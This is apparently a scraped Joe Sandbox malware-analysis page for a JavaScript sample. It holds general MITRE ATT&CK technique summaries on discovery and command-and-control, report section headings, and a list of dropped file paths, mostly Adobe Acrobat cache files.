Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 10848104561916132198.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e38b9e1d-161c-418d-b24c-b24d23577f68.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7684

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
10848104561916132198.js